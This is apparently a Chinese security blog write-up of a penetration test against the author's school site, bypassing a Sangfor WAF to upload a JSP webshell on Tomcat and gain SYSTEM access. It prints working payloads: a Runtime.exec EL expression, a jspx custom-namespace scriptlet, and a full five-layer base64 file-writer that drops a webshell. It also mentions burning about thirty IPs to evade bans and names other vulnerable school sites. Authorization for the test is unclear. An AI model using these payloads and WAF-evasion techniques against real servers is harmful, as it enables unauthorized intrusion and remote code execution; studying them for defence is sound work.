<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次繞過waf的任意文件上傳

    VSole2022-05-30 08:39:24

    0x01 前言

    前幾天對自己學校進行的一次滲透測試,由于深信服過于變態,而且攔截會直接封ip,整個過程有點曲折。

    期間進行了后綴名繞過,jspx命名空間繞過、獲取網站根目錄、base64五層編碼寫入shell等操作。

    0x02 獲取網站接口

    主界面:

    上傳點:

    由于該應用是內嵌企業微信的套皮Html,所以我們首先用Burp Suite抓包獲取接口和cookie

    任意文件上傳:

    文件名強制命名為code+學號,后綴為最后一次點號出現之后的字母

    0x03 后綴名繞過

    代碼不限制后綴名,但是waf限制呀!后綴名jspjspx會攔截,但是jsppjspxx等不會攔截。

    所以要利用windows特性繞過,常規的繞過手法例如末尾加點號::$DATA均無法繞過。


    經過fuzz,發現正斜杠可以繞過


    紕漏: 查閱相關資料后發現,在后綴名繞過那里可以繞過是因為tomcat認為.jsp/在文件名中是非法的,Tomcat會自動去除非法的/號,并不是因為windows的特性。但.jsp\的反斜杠在本地測試時也可以正常解析去除,在目標機上卻無法解析,個人感覺應該很大程度取決于所用的java庫及其版本,這次算是誤打誤撞的成功了,以后還得多多學習,避免出現此類錯誤。

    0x04 內容繞過

    常見的jsp標記均無法繞過

    所以我們得繞過JSP標記檢測,這里參考了yzddmr6師傅的兩種繞過方法。

    • jspEL表達式繞過
    • jspx命名空間繞過

    參考鏈接:

    https://yzddmr6.com/posts/jsp-webshell-upload-bypass/
    

    第一種是利用${}標記:

    payload:

    ${Runtime.getRuntime().exec(request.getParameter("x"))}
    

    但深信服waf過濾了一句話,需要變形繞過,鄙人太菜了,不了解相關函數的變形繞過,所以選擇第二種寫法。

    第二種是利用命名空間的特性:

    參照yzddmr6師傅的圖:


    使用自定義的命名空間,替換掉jsp的關鍵字,將原本的<jsp:scriptlet>替換成<自定義字符:scriptlet>,這樣waf的正則匹配不到<jsp:scriptlet>自然就會放行


    <hi xmlns:hi="http://java.sun.com/JSP/Page">
        <hi:scriptlet>
            out.println(30*30);
        </hi:scriptlet>
    </hi>
    

    0x05 獲取網站路徑

    這里我們不能用相對路徑來寫入webshell因為TomcatApache不同,根目錄并不是以代碼運行位置決定所在的目錄,而是默認為Tomcat/bin作為根目錄

    # 獲取當前的根目錄
    String path = System.getProperty("user.dir");
    out.println(path);
    

    # 獲取web項目所在的目錄
    String path = application.getRealPath("test.jsp");
    out.println(path);
    

    所以寫入shell的絕對路徑應為:

    D:/tomcat8/webapps/declare/static/upload/test.jsp
    

    0x06 編碼或加密繞過waf寫入shell

    菜雞的payload:

    <hi xmlns:hi="http://java.sun.com/JSP/Page">
        <hi:directive.page import="java.util.Base64,java.io.*"/>
        <hi:scriptlet>
            File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
            FileWriter fileOut = new FileWriter(file);
            Base64.Decoder base64 = Base64.getDecoder();
            byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
            try {
                fileOut.write(new String(str, "utf-8"));
                out.println("寫入成功");
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                try {
                    if (fileOut != null) {
                        fileOut.close();
                    }
            } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        </hi:scriptlet>
    </hi>
    

    一開始我是用兩層base64編碼,還是被檢測了,經過fuzz發現五層編碼即可繞過。

    鄙人太懶了,不想重新造輪子。如果各位師傅有時間的話,遇到這種waf建議用RSA、AES等加密算法繞過。

    成功getshell,System權限

    看了一眼依賴,可能存在log4j2jackson的RCE,留著下次當靶場繼續測試

    0x07 總結

    深信服的waf算挺強了,而且也足夠惡心,檢測可疑行為直接封ip,光是fuzz就用掉了快30個ip了。

    學校其他站點有thinkphp5.0.23 RCE泛微8.0前臺sql注入的漏洞,但都有這個waf,實在沒有耐心一個個fuzz。

    wafbase64
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01 %00繞過WAF輸入一個單引號頁面報錯首先閉合,這里用')閉合keywords=1') %23. order by x 被攔截,用--%0a代替空格即可直接上union select會一直卡著,沒有任何返回把空格都改為--%0a,成功響應,在 select 跟 1,2,3... 之間用兩個 --%0a 會無響應在 1 后面加上?并 url 編碼,原理是 waf 把空字節認為是結束導致了后面的語句可以繞過0x02 Base64WAF發現參數為 base64 編碼測試字符發現頁面報錯,使用報錯注入來出數據133 and updatexml. 這里可以使用16進制或者科學計數法0x1或1e1keywords=11'and-updatexml
    前言前幾天對自己學校進行的一次滲透測試,由于深信服過于變態,而且攔截會直接封ip,整個過程有點曲折期間進行了后綴名繞過,jspx命名空間繞過、獲取網站根目錄、base64五層編碼寫入shell等操作0x01 獲取網站接口主界面:上傳點:由于該應用是內嵌企業微信的套皮Html,所以我們首先用Burp Suite抓包獲取接口和cookie任意文件上傳:文件名強制命名為code+學號,后綴為最后一次點號出現之后的字母0x02 后綴名繞過代碼不限制后綴名,但是waf限制呀!
    在一次測試中,遇到一個可以利用 XSS 的點,但是存在 BIG-IP ASM 防火墻,導致無法直接利用,在大神的幫助下完成了利用。隨后經過自己的努力,也找到了一種繞過方式。0x01 XSS 漏洞發現測試中發現一個接口,參數 PAGEURL 可控,且輸入的內容會原樣響應在返回包中,如圖:響應包如圖:測試常規 payload 被 WAF 攔截,如圖:響應包:可以看到被 WAF 攔截。
    本篇文章通過 網絡架構層、HTTP協議層、第三方應用層講解了繞過WAF的常見方法一、網絡架構層一般通過域名指向云WAF地址后反向實現代理,找到這些公司的服務器的真實IP即可實現繞過具體方法如下:1、查找相關的二級域名及同一域名注冊者的其他域名解析記錄。ISASP支持類似Unicode%u0027的編碼,還會對不合法的URL編碼進行字符刪除。
    webshell免殺之傳參方式及特征繞過傳參方式 在這里解釋一下為什么,需要講述傳參方式,由于在很多情況下,以請求頭作為參數傳遞并非waf和人工排查的重中之重且非常誤導和隱藏
    繞過寶塔Getshell
    2021-10-18 16:40:25
    朋友丟過來一個站,說站點的webshell掉了,并且上了寶塔,但是后門還在,由于寶塔的原因遲遲無法再次getshell。正好不在乙方工作多年,好久沒遇到WAF對抗了,就要過來看看。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类